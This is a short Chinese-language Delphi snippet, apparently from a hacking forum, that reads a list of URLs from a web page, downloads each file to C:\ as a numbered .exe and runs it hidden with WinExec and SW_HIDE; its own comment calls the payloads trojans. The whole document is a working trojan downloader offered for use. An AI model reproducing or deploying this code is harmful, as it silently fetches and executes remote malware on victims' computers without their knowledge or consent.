Delphi 实现获取网页内容后循环下载

function GetIp(Url: PChar): string;  //向网页提交GET信息函数
var
  ErrCode: string;
  hInternets, hInternetFiles: HINTERNET;
  dwOut: DWORD;
  lpBuffer: array[0..4096] of Char;
begin
  ErrCode := 'heihei';
  Result := ErrCode;
  hInternets := InternetOpen('Huai_Huai', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  if hInternets = nil then
  begin
    Result := ErrCode;
    Exit;
  end;
  hInternetFiles := InternetOpenUrl(hInternets, url, nil, 0, INTERNET_FLAG_DONT_CACHE or INTERNET_FLAG_RELOAD or INTERNET_FLAG_TRANSFER_BINARY, 0);

  if hInternetFiles = nil then
  begin
    InternetCloseHandle(hInternets);
    Result := ErrCode;
    Exit;
  end;
  dwOut := 0;
  Fillchar(lpBuffer, sizeof(lpBuffer), 0);

  if InternetReadFile(hInternetFiles, @lpBuffer, 4096, dwOut) then
    Result := lpBuffer
  else
    Result := ErrCode;

  InternetCloseHandle(hInternets);
end;

var
MyList: TStringList; //定义后用来存储返回页面的内容
S:string;
j:integer;
Begin
s:=getip('http://www.baidu.com/index.html');
 if  S = 'heihei' then exit; //当S为'heihei'时退出
Mylist := TStringList.Create;
Mylist.Text :=s;
 for j:= 0 to Mylist.Count - 1 do     //循环下载马，下载一个后延迟一秒
  begin
  UrlDownloadToFile(nil, PChar(Mylist.Strings[j]), PChar('c:\'+inttostr(j+1)+'.exe'), 0, nil);
  WinExec(PChar('c:\'+inttostr(j+1)+'.exe'), SW_hide);
 end;